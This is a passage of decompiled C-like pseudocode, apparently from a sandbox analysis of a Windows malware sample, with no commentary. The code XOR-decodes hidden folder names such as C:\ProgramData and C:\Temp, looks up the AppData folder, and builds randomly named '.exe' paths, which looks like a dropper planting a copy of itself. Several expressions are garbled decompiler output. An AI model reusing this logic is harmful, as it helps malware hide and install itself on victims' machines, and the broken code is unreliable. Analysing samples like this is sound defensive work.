				char _t1745;
				void* _t1746;
				void* _t1747;
				signed char _t1748;
				void* _t1749;
				void* _t1750;
				signed char _t1751;
				void* _t1752;
				void* _t1753;
				signed char _t1754;
				void* _t1755;

				_push(__ebx);
				_t1306 = _t1701;
				_t1704 = (_t1701 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t1306 + 4));
				_t1696 = _t1704;
				_push(0xffffffff);
				_push(0x42c8c2);
				_push( *[fs:0x0]);
				_push(_t1306);
				_t1705 = _t1704 - 0x1c0;
				_t794 =  *0x43d054; // 0x298e9dc2
				_t795 = _t794 ^ _t1696;
				_v32 = _t795;
				_push(__esi);
				_push(__edi);
				_push(_t795);
				 *[fs:0x0] =  &_v24;
				_t1686 = __ecx;
				_v400 = __ecx;
				_v400 = __ecx;
				_v396 = 0;
				_v380 = 0;
				_v376 = 0xf;
				_v396 = 0;
				_v16 = 0;
				_t797 = E004065E0(__ecx); // executed
				if(_t797 != 0) {
					E00406760(_t1306,  &_v348, __edi);
					_v16 = 0x16;
					_t799 = E00417D76( &_v348, __eflags);
					asm("cdq");
					E004055C0( &_v372, _t799 % 0xa + 5);
					_v16 = 0x17;
					_v401 = 0x2e;
					_t1681 =  *( *[fs:0x2c]);
					_t803 =  *0x450f1c; // 0x0
					__eflags = _t803 -  *((intOrPtr*)(_t1681 + 4));
					if(_t803 >  *((intOrPtr*)(_t1681 + 4))) {
						E0040EEC8(_t803, 0x450f1c);
						_t1705 = _t1705 + 4;
						__eflags =  *0x450f1c - 0xffffffff;
						if(__eflags == 0) {
							asm("movaps xmm0, [0x439d70]");
							asm("movups [0x450e3c], xmm0");
							 *0x450e4c = _v401;
							E0040F1DA( &_v372, __eflags, 0x42cf90);
							E0040EE7E(0x450f1c);
							_t1705 = _t1705 + 8;
						}
					}
					_t804 =  *0x450e4c; // 0x0
					__eflags = _t804;
					if(_t804 != 0) {
						asm("movups xmm0, [0x450e3c]");
						asm("movaps xmm1, [0x439d20]");
						asm("pxor xmm1, xmm0");
						 *0x450e4c = _t804 ^ 0x0000002e;
						asm("movups [0x450e3c], xmm1");
					}
					_t1315 = 0x450e3c;
					_v452 = 0;
					_v436 = 0;
					_v432 = 0xf;
					_v452 = 0;
					_t408 = _t1315 + 1; // 0x450e3d
					_t1537 = _t408;
					do {
						_t805 =  *_t1315;
						_t1315 = _t1315 + 1;
						__eflags = _t805;
					} while (_t805 != 0);
					E004026C0(_t1306,  &_v452, 0x450e3c, _t1315 - _t1537);
					_v16 = 0x18;
					_t1538 = _v432;
					_t1318 = _v436;
					__eflags = _t1538 - _t1318 - 1;
					if(_t1538 - _t1318 < 1) {
						_v400 = 0;
						_t809 = E00402990(_t1306,  &_v452, _t1681, _t1686, "true", _v400, "\\", "true");
					} else {
						__eflags = _t1538 - 0x10;
						_v436 =  &(1[_t1318]);
						_t1068 =  >=  ? _v452 :  &_v452;
						 *((short*)(( >=  ? _v452 :  &_v452) + _t1318)) = 0x5c;
						_t809 =  &_v452;
					}
					_v428 = 0;
					_v412 = 0;
					_v408 = 0;
					asm("movups xmm0, [eax]");
					asm("movups [ebp-0x1a0], xmm0");
					asm("movq xmm0, [eax+0x10]");
					asm("movq [ebp-0x190], xmm0");
					 *(_t809 + 0x10) = 0;
					 *(_t809 + 0x14) = 0xf;
					 *_t809 = 0;
					_v16 = 0x19;
					_t811 = E0040C910( &_v476,  &_v428,  &_v348);
					_t1706 = _t1705 + 4;
					E004024A0(_t1306,  &_v396, _t811);
					_t1540 = _v456;
					__eflags = _t1540 - 0x10;
					if(_t1540 < 0x10) {
						L198:
						_v16 = 0x18;
						_t1541 = _v408;
						_v460 = 0;
						_v456 = 0xf;
						_v476 = 0;
						__eflags = _t1541 - 0x10;
						if(_t1541 < 0x10) {
							L202:
							_v16 = 0x17;
							_t1542 = _v432;
							_v412 = 0;
							_v408 = 0xf;
							_v428 = 0;
							__eflags = _t1542 - 0x10;
							if(_t1542 < 0x10) {
								L206:
								_t1707 = _t1706 - 0x18;
								_v304 = _t1707;
								E0040BB10(_t1306, _t1707, _t1542, _t1681,  &_v372);
								_t1708 = _t1707 - 0x18;
								_v16 = 0x1a;
								_t1323 = _t1708;
								E0040BB10(_t1306, _t1323, _t1542, _t1681,  &_v396);
								_v16 = 0x17;
								_t817 = E00406800(_t1306, _t1323, _t1681, _t1686);
								_t1709 = _t1708 + 0x30;
								__eflags = _t817;
								if(_t817 == 0) {
									_t818 =  *0x450f68; // 0x0
									_v316 = 0x7e72146d;
									_v312 = 0x5c49415c;
									_v308 = 0x4f6a434f;
									_v304 = 0x4f5a;
									_v401 = 0x2e;
									__eflags = _t818 -  *((intOrPtr*)(_t1681 + 4));
									if(_t818 >  *((intOrPtr*)(_t1681 + 4))) {
										E0040EEC8(_t818, 0x450f68);
										_t1709 = _t1709 + 4;
										__eflags =  *0x450f68 - 0xffffffff;
										if(__eflags == 0) {
											asm("movq xmm0, [ebp-0x130]");
											 *0x450d50 = _v308;
											 *0x450d54 = _v304;
											asm("movq [0x450d48], xmm0");
											 *0x450d56 = _v401;
											E0040F1DA(_t1323, __eflags, 0x42cf60);
											E0040EE7E(0x450f68);
											_t1709 = _t1709 + 8;
										}
									}
									__eflags =  *0x450d56;
									if( *0x450d56 != 0) {
										_t1024 = 0;
										__eflags = 0;
										do {
											 *(_t1024 + 0x450d48) =  *(_t1024 + 0x450d48) ^ 0x0000002e;
											_t1024 = _t1024 + 1;
											__eflags = _t1024 - 0xf;
										} while (_t1024 < 0xf);
									}
									_t1324 = 0x450d48;
									_v452 = 0;
									_v436 = 0;
									_v432 = 0xf;
									_v452 = 0;
									_t512 = _t1324 + 1; // 0x450d49
									_t1543 = _t512;
									asm("o16 nop [eax+eax]");
									do {
										_t819 =  *_t1324;
										_t1324 = _t1324 + 1;
										__eflags = _t819;
									} while (_t819 != 0);
									E004026C0(_t1306,  &_v452, 0x450d48, _t1324 - _t1543);
									_v16 = 0x1d;
									_t1544 = _v432;
									_t1327 = _v436;
									__eflags = _t1544 - _t1327 - 1;
									if(_t1544 - _t1327 < 1) {
										_v400 = 0;
										_t823 = E00402990(_t1306,  &_v452, _t1681, _t1686, "true", _v400, "\\", "true");
									} else {
										__eflags = _t1544 - 0x10;
										_v436 =  &(1[_t1327]);
										_t1023 =  >=  ? _v452 :  &_v452;
										 *((short*)(( >=  ? _v452 :  &_v452) + _t1327)) = 0x5c;
										_t823 =  &_v452;
									}
									_v428 = 0;
									_v412 = 0;
									_v408 = 0;
									asm("movups xmm0, [eax]");
									asm("movups [ebp-0x1a0], xmm0");
									asm("movq xmm0, [eax+0x10]");
									asm("movq [ebp-0x190], xmm0");
									 *(_t823 + 0x10) = 0;
									 *(_t823 + 0x14) = 0xf;
									 *_t823 = 0;
									_v16 = 0x1e;
									_t825 = E0040C910( &_v476,  &_v428,  &_v348);
									_t1710 = _t1709 + 4;
									E004024A0(_t1306,  &_v396, _t825);
									_t1546 = _v456;
									__eflags = _t1546 - 0x10;
									if(_t1546 < 0x10) {
										L244:
										_v16 = 0x1d;
										_t1547 = _v408;
										_v460 = 0;
										_v456 = 0xf;
										_v476 = 0;
										__eflags = _t1547 - 0x10;
										if(_t1547 < 0x10) {
											L248:
											_v16 = 0x17;
											_t1548 = _v432;
											_v412 = 0;
											_v408 = 0xf;
											_v428 = 0;
											__eflags = _t1548 - 0x10;
											if(_t1548 < 0x10) {
												L252:
												_t1711 = _t1710 - 0x18;
												_v304 = _t1711;
												E0040BB10(_t1306, _t1711, _t1548, _t1681,  &_v372);
												_t1712 = _t1711 - 0x18;
												_v16 = 0x1f;
												_t1332 = _t1712;
												E0040BB10(_t1306, _t1332, _t1548, _t1681,  &_v396);
												_v16 = 0x17;
												_t831 = E00406800(_t1306, _t1332, _t1681, _t1686);
												_t1713 = _t1712 + 0x30;
												__eflags = _t831;
												if(_t831 == 0) {
													_t832 =  *0x450d74; // 0x0
													_v308 = 0x7a72146d;
													_v304 = 0x2e5e434b;
													__eflags = _t832 -  *((intOrPtr*)(_t1681 + 4));
													if(_t832 >  *((intOrPtr*)(_t1681 + 4))) {
														E0040EEC8(_t832, 0x450d74);
														_t1713 = _t1713 + 4;
														__eflags =  *0x450d74 - 0xffffffff;
														if(__eflags == 0) {
															 *0x450d58 = _v308;
															 *0x450d5c = _v304;
															E0040F1DA(_v304, __eflags, 0x42cf50);
															E0040EE7E(0x450d74);
															_t1713 = _t1713 + 8;
														}
													}
													_t833 =  *0x450d5f; // 0x0
													__eflags = _t833;
													if(_t833 != 0) {
														 *0x450d58 =  *0x450d58 ^ 0x0000002e;
														 *0x450d59 =  *0x450d59 ^ 0x0000002e;
														 *0x450d5a =  *0x450d5a ^ 0x0000002e;
														 *0x450d5b =  *0x450d5b ^ 0x0000002e;
														 *0x450d5c =  *0x450d5c ^ 0x0000002e;
														 *0x450d5d =  *0x450d5d ^ 0x0000002e;
														 *0x450d5e =  *0x450d5e ^ 0x0000002e;
														_t977 = _t833 ^ 0x0000002e;
														__eflags = _t977;
														 *0x450d5f = _t977;
													}
													_t1333 = 0x450d58;
													_v452 = 0;
													_v436 = 0;
													_v432 = 0xf;
													_v452 = 0;
													_t610 =  &(_t1333[1]); // 0x450d59
													_t1549 = _t610;
													do {
														_t834 =  *_t1333;
														_t1333 =  &(_t1333[1]);
														__eflags = _t834;
													} while (_t834 != 0);
													E004026C0(_t1306,  &_v452, 0x450d58, _t1333 - _t1549);
													_v16 = 0x22;
													_t1550 = _v432;
													_t1336 = _v436;
													__eflags = _t1550 - _t1336 - 1;
													if(_t1550 - _t1336 < 1) {
														_v400 = 0;
														_t838 = E00402990(_t1306,  &_v452, _t1681, _t1686, "true", _v400, "\\", "true");
													} else {
														__eflags = _t1550 - 0x10;
														_v436 =  &(1[_t1336]);
														_t976 =  >=  ? _v452 :  &_v452;
														 *((short*)(( >=  ? _v452 :  &_v452) + _t1336)) = 0x5c;
														_t838 =  &_v452;
													}
													_v428 = 0;
													_v412 = 0;
													_v408 = 0;
													asm("movups xmm0, [eax]");
													asm("movups [ebp-0x1a0], xmm0");
													asm("movq xmm0, [eax+0x10]");
													asm("movq [ebp-0x190], xmm0");
													 *(_t838 + 0x10) = 0;
													 *(_t838 + 0x14) = 0xf;
													 *_t838 = 0;
													_v16 = 0x23;
													_t840 = E0040C910( &_v476,  &_v428,  &_v348);
													_t1714 = _t1713 + 4;
													E004024A0(_t1306,  &_v396, _t840);
													_t1552 = _v456;
													__eflags = _t1552 - 0x10;
													if(_t1552 < 0x10) {
														L289:
														_v16 = 0x22;
														_t1553 = _v408;
														_v460 = 0;
														_v456 = 0xf;
														_v476 = 0;
														__eflags = _t1553 - 0x10;
														if(_t1553 < 0x10) {
															L293:
															_v16 = 0x17;
															_t1554 = _v432;
															_v412 = 0;
															_v408 = 0xf;
															_v428 = 0;
															__eflags = _t1554 - 0x10;
															if(_t1554 < 0x10) {
																L297:
																_t1715 = _t1714 - 0x18;
																_v304 = _t1715;
																E0040BB10(_t1306, _t1715, _t1554, _t1681,  &_v372);
																_t1716 = _t1715 - 0x18;
																_v16 = 0x24;
																_t1341 = _t1716;
																E0040BB10(_t1306, _t1341, _t1554, _t1681,  &_v396);
																_v16 = 0x17;
																_t846 = E00406800(_t1306, _t1341, _t1681, _t1686);
																_t1717 = _t1716 + 0x30;
																__eflags = _t846;
																if(_t846 == 0) {
																	E00402450(_t1306,  &_v372);
																	_v16 = 0;
																	E00402450(_t1306,  &_v348);
																	goto L309;
																} else {
																	_push(_t1341);
																	_t853 = E0040C6F0( &_v428,  &_v396);
																	_v16 = 0x25;
																	_t854 = E0040C910( &_v476, _t853,  &_v372);
																	_t1714 = _t1717 + 8;
																	_t1353 = _t854;
																	_v16 = 0x26;
																	_t1681 =  *(_t1353 + 0x14);
																	_t1557 =  *(_t1353 + 0x10);
																	__eflags = _t1681 - _t1557 - 4;
																	if(_t1681 - _t1557 < 4) {
																		_v400 = 0;
																		_t1353 = E00402990(_t1306, _t1353, _t1681, _t1686, 4, _v400, ".exe", 4);
																	} else {
																		 *(_t1353 + 0x10) = _t1557 + 4;
																		_t961 = _t1353;
																		__eflags = _t1681 - 0x10;
																		if(_t1681 >= 0x10) {
																			_t961 =  *_t1353;
																		}
																		 *((intOrPtr*)(_t961 + _t1557)) = 0x6578652e;
																		 *((char*)(_t961 + _t1557 + 4)) = 0;
																	}
																	 *_t1686 = 0;
																	 *(_t1686 + 0x10) = 0;
																	 *(_t1686 + 0x14) = 0;
																	asm("movups xmm0, [ecx]");
																	asm("movups [esi], xmm0");
																	asm("movq xmm0, [ecx+0x10]");
																	asm("movq [esi+0x10], xmm0");
																	 *(_t1353 + 0x10) = 0;
																	 *(_t1353 + 0x14) = 0xf;
																	 *_t1353 = 0;
																	_t1554 = _v456;
																	__eflags = _t1554 - 0x10;
																	if(_t1554 < 0x10) {
																		L307:
																		_v460 = 0;
																		_v456 = 0xf;
																		_v476 = 0;
																		E00402450(_t1306,  &_v428);
																		E00402450(_t1306,  &_v372);
																		E00402450(_t1306,  &_v348);
																		goto L310;
																	} else {
																		_t1357 = _v476;
																		_t1554 =  &(1[_t1554]);
																		_t861 = _t1357;
																		__eflags = _t1554 - 0x1000;
																		if(_t1554 < 0x1000) {
																			L306:
																			_push(_t1554);
																			E0040ED7F(_t1357);
																			goto L307;
																		} else {
																			_t1357 =  *((intOrPtr*)(_t1357 - 4));
																			_t1554 = _t1554 + 0x23;
																			__eflags = _t861 - _t1357 + 0xfffffffc - 0x1f;
																			if(__eflags > 0) {
																				goto L313;
																			} else {
																				goto L306;
																			}
																		}
																	}
																}
															} else {
																_t1424 = _v452;
																_t1554 =  &(1[_t1554]);
																_t962 = _t1424;
																__eflags = _t1554 - 0x1000;
																if(_t1554 < 0x1000) {
																	L296:
																	_push(_t1554);
																	E0040ED7F(_t1424);
																	_t1714 = _t1714 + 8;
																	goto L297;
																} else {
																	_t1357 =  *((intOrPtr*)(_t1424 - 4));
																	_t1554 = _t1554 + 0x23;
																	__eflags = _t962 -  *((intOrPtr*)(_t1424 - 4)) + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		goto L313;
																	} else {
																		goto L296;
																	}
																}
															}
														} else {
															_t1425 = _v428;
															_t1576 = _t1553 + 1;
															_t966 = _t1425;
															__eflags = _t1576 - 0x1000;
															if(_t1576 < 0x1000) {
																L292:
																_push(_t1576);
																E0040ED7F(_t1425);
																_t1714 = _t1714 + 8;
																goto L293;
															} else {
																_t1357 =  *((intOrPtr*)(_t1425 - 4));
																_t1554 = _t1576 + 0x23;
																__eflags = _t966 -  *((intOrPtr*)(_t1425 - 4)) + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L313;
																} else {
																	goto L292;
																}
															}
														}
													} else {
														_t1426 = _v476;
														_t1577 = _t1552 + 1;
														_t970 = _t1426;
														__eflags = _t1577 - 0x1000;
														if(_t1577 < 0x1000) {
															L288:
															_push(_t1577);
															E0040ED7F(_t1426);
															_t1714 = _t1714 + 8;
															goto L289;
														} else {
															_t1357 =  *((intOrPtr*)(_t1426 - 4));
															_t1554 = _t1577 + 0x23;
															__eflags = _t970 -  *((intOrPtr*)(_t1426 - 4)) + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																goto L313;
															} else {
																goto L288;
															}
														}
													}
												} else {
													_push(_t1332);
													_t982 = E0040C6F0( &_v428,  &_v396);
													_v16 = 0x20;
													_t983 = E0040C910( &_v476, _t982,  &_v372);
													_t1714 = _t1713 + 8;
													_t1431 = _t983;
													_v16 = 0x21;
													_t1681 =  *(_t1431 + 0x14);
													_t1580 =  *(_t1431 + 0x10);
													__eflags = _t1681 - _t1580 - 4;
													if(_t1681 - _t1580 < 4) {
														_v400 = 0;
														_t1431 = E00402990(_t1306, _t1431, _t1681, _t1686, 4, _v400, ".exe", 4);
													} else {
														 *(_t1431 + 0x10) = _t1580 + 4;
														_t1008 = _t1431;
														__eflags = _t1681 - 0x10;
														if(_t1681 >= 0x10) {
															_t1008 =  *_t1431;
														}
														 *((intOrPtr*)(_t1008 + _t1580)) = 0x6578652e;
														 *((char*)(_t1008 + _t1580 + 4)) = 0;
													}
													 *_t1686 = 0;
													 *(_t1686 + 0x10) = 0;
													 *(_t1686 + 0x14) = 0;
													asm("movups xmm0, [ecx]");
													asm("movups [esi], xmm0");
													asm("movq xmm0, [ecx+0x10]");
													asm("movq [esi+0x10], xmm0");
													 *(_t1431 + 0x10) = 0;
													 *(_t1431 + 0x14) = 0xf;
													 *_t1431 = 0;
													_t1581 = _v456;
													__eflags = _t1581 - 0x10;
													if(_t1581 < 0x10) {
														L262:
														_t1582 = _v408;
														_v460 = 0;
														_v456 = 0xf;
														_v476 = 0;
														__eflags = _t1582 - 0x10;
														if(_t1582 < 0x10) {
															L266:
															_t1583 = _v352;
															_v412 = 0;
															_v408 = 0xf;
															_v428 = 0;
															__eflags = _t1583 - 0x10;
															if(_t1583 < 0x10) {
																L270:
																_t1584 = _v328;
																_v356 = 0;
																_v352 = 0xf;
																_v372 = 0;
																__eflags = _t1584 - 0x10;
																if(__eflags < 0) {
																	goto L228;
																} else {
																	_t1433 = _v348;
																	_t1585 = _t1584 + 1;
																	_t991 = _t1433;
																	__eflags = _t1585 - 0x1000;
																	if(__eflags < 0) {
																		L273:
																		_push(_t1585);
																		E0040ED7F(_t1433);
																		_t1714 = _t1714 + 8;
																		_v332 = 0;
																		_v328 = 0xf;
																		_v348 = 0;
																		goto L39;
																	} else {
																		_t1357 =  *((intOrPtr*)(_t1433 - 4));
																		_t1554 = _t1585 + 0x23;
																		__eflags = _t991 -  *((intOrPtr*)(_t1433 - 4)) + 0xfffffffc - 0x1f;
																		if(__eflags > 0) {
																			goto L313;
																		} else {
																			goto L273;
																		}
																	}
																}
															} else {
																_t1434 = _v372;
																_t1586 = _t1583 + 1;
																_t995 = _t1434;
																__eflags = _t1586 - 0x1000;
																if(_t1586 < 0x1000) {
																	L269:
																	_push(_t1586);
																	E0040ED7F(_t1434);
																	_t1714 = _t1714 + 8;
																	goto L270;
																} else {
																	_t1357 =  *((intOrPtr*)(_t1434 - 4));
																	_t1554 = _t1586 + 0x23;
																	__eflags = _t995 -  *((intOrPtr*)(_t1434 - 4)) + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		goto L313;
																	} else {
																		goto L269;
																	}
																}
															}
														} else {
															_t1435 = _v428;
															_t1587 = _t1582 + 1;
															_t999 = _t1435;
															__eflags = _t1587 - 0x1000;
															if(_t1587 < 0x1000) {
																L265:
																_push(_t1587);
																E0040ED7F(_t1435);
																_t1714 = _t1714 + 8;
																goto L266;
															} else {
																_t1357 =  *((intOrPtr*)(_t1435 - 4));
																_t1554 = _t1587 + 0x23;
																__eflags = _t999 -  *((intOrPtr*)(_t1435 - 4)) + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L313;
																} else {
																	goto L265;
																}
															}
														}
													} else {
														_t1436 = _v476;
														_t1588 = _t1581 + 1;
														_t1003 = _t1436;
														__eflags = _t1588 - 0x1000;
														if(_t1588 < 0x1000) {
															L261:
															_push(_t1588);
															E0040ED7F(_t1436);
															_t1714 = _t1714 + 8;
															goto L262;
														} else {
															_t1357 =  *((intOrPtr*)(_t1436 - 4));
															_t1554 = _t1588 + 0x23;
															__eflags = _t1003 -  *((intOrPtr*)(_t1436 - 4)) + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																goto L313;
															} else {
																goto L261;
															}
														}
													}
												}
											} else {
												_t1437 = _v452;
												_t1548 = _t1548 + 1;
												_t1009 = _t1437;
												__eflags = _t1548 - 0x1000;
												if(_t1548 < 0x1000) {
													L251:
													_push(_t1548);
													E0040ED7F(_t1437);
													_t1710 = _t1710 + 8;
													goto L252;
												} else {
													_t1357 =  *((intOrPtr*)(_t1437 - 4));
													_t1554 = _t1548 + 0x23;
													__eflags = _t1009 -  *((intOrPtr*)(_t1437 - 4)) + 0xfffffffc - 0x1f;
													if(__eflags > 0) {
														goto L313;
													} else {
														goto L251;
													}
												}
											}
										} else {
											_t1438 = _v428;
											_t1589 = _t1547 + 1;
											_t1013 = _t1438;
											__eflags = _t1589 - 0x1000;
											if(_t1589 < 0x1000) {
												L247:
												_push(_t1589);
												E0040ED7F(_t1438);
												_t1710 = _t1710 + 8;
												goto L248;
											} else {
												_t1357 =  *((intOrPtr*)(_t1438 - 4));
												_t1554 = _t1589 + 0x23;
												__eflags = _t1013 -  *((intOrPtr*)(_t1438 - 4)) + 0xfffffffc - 0x1f;
												if(__eflags > 0) {
													goto L313;
												} else {
													goto L247;
												}
											}
										}
									} else {
										_t1439 = _v476;
										_t1590 = _t1546 + 1;
										_t1017 = _t1439;
										__eflags = _t1590 - 0x1000;
										if(_t1590 < 0x1000) {
											L243:
											_push(_t1590);
											E0040ED7F(_t1439);
											_t1710 = _t1710 + 8;
											goto L244;
										} else {
											_t1357 =  *((intOrPtr*)(_t1439 - 4));
											_t1554 = _t1590 + 0x23;
											__eflags = _t1017 -  *((intOrPtr*)(_t1439 - 4)) + 0xfffffffc - 0x1f;
											if(__eflags > 0) {
												goto L313;
											} else {
												goto L243;
											}
										}
									}
								} else {
									_push(_t1323);
									_t1031 = E0040C6F0( &_v428,  &_v396);
									_v16 = 0x1b;
									_t1032 = E0040C910( &_v476, _t1031,  &_v372);
									_t1714 = _t1709 + 8;
									_t1443 = _t1032;
									_v16 = 0x1c;
									_t1681 =  *(_t1443 + 0x14);
									_t1593 =  *(_t1443 + 0x10);
									__eflags = _t1681 - _t1593 - 4;
									if(_t1681 - _t1593 < 4) {
										_v400 = 0;
										_t1443 = E00402990(_t1306, _t1443, _t1681, _t1686, 4, _v400, ".exe", 4);
									} else {
										 *(_t1443 + 0x10) = _t1593 + 4;
										_t1053 = _t1443;
										__eflags = _t1681 - 0x10;
										if(_t1681 >= 0x10) {
											_t1053 =  *_t1443;
										}
										 *((intOrPtr*)(_t1053 + _t1593)) = 0x6578652e;
										 *((char*)(_t1053 + _t1593 + 4)) = 0;
									}
									 *_t1686 = 0;
									 *(_t1686 + 0x10) = 0;
									 *(_t1686 + 0x14) = 0;
									asm("movups xmm0, [ecx]");
									asm("movups [esi], xmm0");
									asm("movq xmm0, [ecx+0x10]");
									asm("movq [esi+0x10], xmm0");
									 *(_t1443 + 0x10) = 0;
									 *(_t1443 + 0x14) = 0xf;
									 *_t1443 = 0;
									_t1594 = _v456;
									__eflags = _t1594 - 0x10;
									if(_t1594 < 0x10) {
										L216:
										_t1595 = _v408;
										_v460 = 0;
										_v456 = 0xf;
										_v476 = 0;
										__eflags = _t1595 - 0x10;
										if(_t1595 < 0x10) {
											L220:
											_t1596 = _v352;
											_v412 = 0;
											_v408 = 0xf;
											_v428 = 0;
											__eflags = _t1596 - 0x10;
											if(_t1596 < 0x10) {
												L224:
												_t1597 = _v328;
												_v356 = 0;
												_v352 = 0xf;
												_v372 = 0;
												__eflags = _t1597 - 0x10;
												if(__eflags < 0) {
													L228:
													_v332 = 0;
													_v328 = 0xf;
													_v348 = 0;
													goto L39;
												} else {
													_t1444 = _v348;
													_t1598 = _t1597 + 1;
													_t1036 = _t1444;
													__eflags = _t1598 - 0x1000;
													if(__eflags < 0) {
														L227:
														_push(_t1598);
														E0040ED7F(_t1444);
														_t1714 = _t1714 + 8;
														goto L228;
													} else {
														_t1357 =  *((intOrPtr*)(_t1444 - 4));
														_t1554 = _t1598 + 0x23;
														__eflags = _t1036 -  *((intOrPtr*)(_t1444 - 4)) + 0xfffffffc - 0x1f;
														if(__eflags > 0) {
															goto L313;
														} else {
															goto L227;
														}
													}
												}
											} else {
												_t1445 = _v372;
												_t1599 = _t1596 + 1;
												_t1040 = _t1445;
												__eflags = _t1599 - 0x1000;
												if(_t1599 < 0x1000) {
													L223:
													_push(_t1599);
													E0040ED7F(_t1445);
													_t1714 = _t1714 + 8;
													goto L224;
												} else {
													_t1357 =  *((intOrPtr*)(_t1445 - 4));
													_t1554 = _t1599 + 0x23;
													__eflags = _t1040 -  *((intOrPtr*)(_t1445 - 4)) + 0xfffffffc - 0x1f;
													if(__eflags > 0) {
														goto L313;
													} else {
														goto L223;
													}
												}
											}
										} else {
											_t1446 = _v428;
											_t1600 = _t1595 + 1;
											_t1044 = _t1446;
											__eflags = _t1600 - 0x1000;
											if(_t1600 < 0x1000) {
												L219:
												_push(_t1600);
												E0040ED7F(_t1446);
												_t1714 = _t1714 + 8;
												goto L220;
											} else {
												_t1357 =  *((intOrPtr*)(_t1446 - 4));
												_t1554 = _t1600 + 0x23;
												__eflags = _t1044 -  *((intOrPtr*)(_t1446 - 4)) + 0xfffffffc - 0x1f;
												if(__eflags > 0) {
													goto L313;
												} else {
													goto L219;
												}
											}
										}
									} else {
										_t1447 = _v476;
										_t1601 = _t1594 + 1;
										_t1048 = _t1447;
										__eflags = _t1601 - 0x1000;
										if(_t1601 < 0x1000) {
											L215:
											_push(_t1601);
											E0040ED7F(_t1447);
											_t1714 = _t1714 + 8;
											goto L216;
										} else {
											_t1357 =  *((intOrPtr*)(_t1447 - 4));
											_t1554 = _t1601 + 0x23;
											__eflags = _t1048 -  *((intOrPtr*)(_t1447 - 4)) + 0xfffffffc - 0x1f;
											if(__eflags > 0) {
												goto L313;
											} else {
												goto L215;
											}
										}
									}
								}
							} else {
								_t1448 = _v452;
								_t1542 = _t1542 + 1;
								_t1054 = _t1448;
								__eflags = _t1542 - 0x1000;
								if(_t1542 < 0x1000) {
									L205:
									_push(_t1542);
									E0040ED7F(_t1448);
									_t1706 = _t1706 + 8;
									goto L206;
								} else {
									_t1357 =  *((intOrPtr*)(_t1448 - 4));
									_t1554 = _t1542 + 0x23;
									__eflags = _t1054 -  *((intOrPtr*)(_t1448 - 4)) + 0xfffffffc - 0x1f;
									if(__eflags > 0) {
										goto L313;
									} else {
										goto L205;
									}
								}
							}
						} else {
							_t1449 = _v428;
							_t1602 = _t1541 + 1;
							_t1058 = _t1449;
							__eflags = _t1602 - 0x1000;
							if(_t1602 < 0x1000) {
								L201:
								_push(_t1602);
								E0040ED7F(_t1449);
								_t1706 = _t1706 + 8;
								goto L202;
							} else {
								_t1357 =  *((intOrPtr*)(_t1449 - 4));
								_t1554 = _t1602 + 0x23;
								__eflags = _t1058 -  *((intOrPtr*)(_t1449 - 4)) + 0xfffffffc - 0x1f;
								if(__eflags > 0) {
									goto L313;
								} else {
									goto L201;
								}
							}
						}
					} else {
						_t1450 = _v476;
						_t1603 = _t1540 + 1;
						_t1062 = _t1450;
						__eflags = _t1603 - 0x1000;
						if(_t1603 < 0x1000) {
							L197:
							_push(_t1603);
							E0040ED7F(_t1450);
							_t1706 = _t1706 + 8;
							goto L198;
						} else {
							_t1357 =  *((intOrPtr*)(_t1450 - 4));
							_t1554 = _t1603 + 0x23;
							__eflags = _t1062 -  *((intOrPtr*)(_t1450 - 4)) + 0xfffffffc - 0x1f;
							if(__eflags > 0) {
								goto L313;
							} else {
								goto L197;
							}
						}
					}
				} else {
					_t1074 =  &_v300;
					__imp__SHGetFolderPathA(0, 0x1a, 0, 0, _t1074); // executed
					if(_t1074 < 0) {
						_t1604 = E00418AE5(_t1306, __edi, _t1686, __eflags, "APPDATA");
						_t1705 = _t1705 + 4;
						_t1451 = _t1604;
						_t1681 = _t1451 + 1;
						goto L6;
						L6:
						_t1076 =  *_t1451;
						_t1451 = _t1451 + 1;
						__eflags = _t1076;
						if(_t1076 != 0) {
							goto L6;
						} else {
							_t1452 = _t1451 - _t1681;
							__eflags = _t1452;
							_push(_t1452);
							_push(_t1604);
						}
					} else {
						_t1533 =  &_v300;
						_t1679 = _t1533 + 1;
						asm("o16 nop [eax+eax]");
						goto L3;
						L3:
						_t1303 =  *_t1533;
						_t1533 = _t1533 + 1;
						_t1767 = _t1303;
						if(_t1303 != 0) {
							goto L3;
						} else {
							_push(_t1533 - _t1679);
							_push( &_v300);
						}
					}
					E004026C0(_t1306,  &_v396);
					E00406760(_t1306,  &_v372, _t1681); // executed
					_v16 = 1;
					_t1079 = E00417D76( &_v372, _t1767);
					asm("cdq");
					_t1456 =  &_v348;
					E004055C0(_t1456, _t1079 % 0xa + 5);
					_push(_t1456);
					_v16 = 2;
					_t1082 = E0040C6F0( &_v476,  &_v396);
					_v16 = 3;
					_t1083 = E0040C910( &_v428, _t1082,  &_v372);
					_t1714 = _t1705 + 8;
					E004024A0(_t1306,  &_v396, _t1083);
					_t1609 = _v408;
					if(_t1609 < 0x10) {
						L12:
						_v16 = 2;
						_t1610 = _v456;
						_v412 = 0;
						_v408 = 0xf;
						_v428 = 0;
						if(_t1610 < 0x10) {
							L16:
							_t1745 = _t1714 - 0x18;
							_v400 = _t1745;
							E0040BB10(_t1306, _t1745, _t1610, _t1681,  &_v348);
							_t1746 = _t1745 - 0x18;
							_v16 = 4;
							_t1462 = _t1746;
							E0040BB10(_t1306, _t1462, _t1610, _t1681,  &_v396);
							_v16 = 2;
							_t1089 = E00406800(_t1306, _t1462, _t1681, _t1686); // executed
							_t1747 = _t1746 + 0x30;
							if(_t1089 == 0) {
								_v401 = 0x2e;
								_t1681 =  *( *[fs:0x2c]);
								_t1091 =  *0x450efc; // 0x0
								__eflags = _t1091 -  *((intOrPtr*)(_t1681 + 4));
								if(_t1091 >  *((intOrPtr*)(_t1681 + 4))) {
									E0040EEC8(_t1091, 0x450efc);
									_t1747 = _t1747 + 4;
									__eflags =  *0x450efc - 0xffffffff;
									if(__eflags == 0) {
										asm("movaps xmm0, [0x439d70]");
										asm("movups [0x450ea8], xmm0");
										 *0x450eb8 = _v401;
										E0040F1DA(_t1462, __eflags, 0x42d000);
										E0040EE7E(0x450efc);
										_t1747 = _t1747 + 8;
									}
								}
								_t1092 =  *0x450eb8; // 0x0
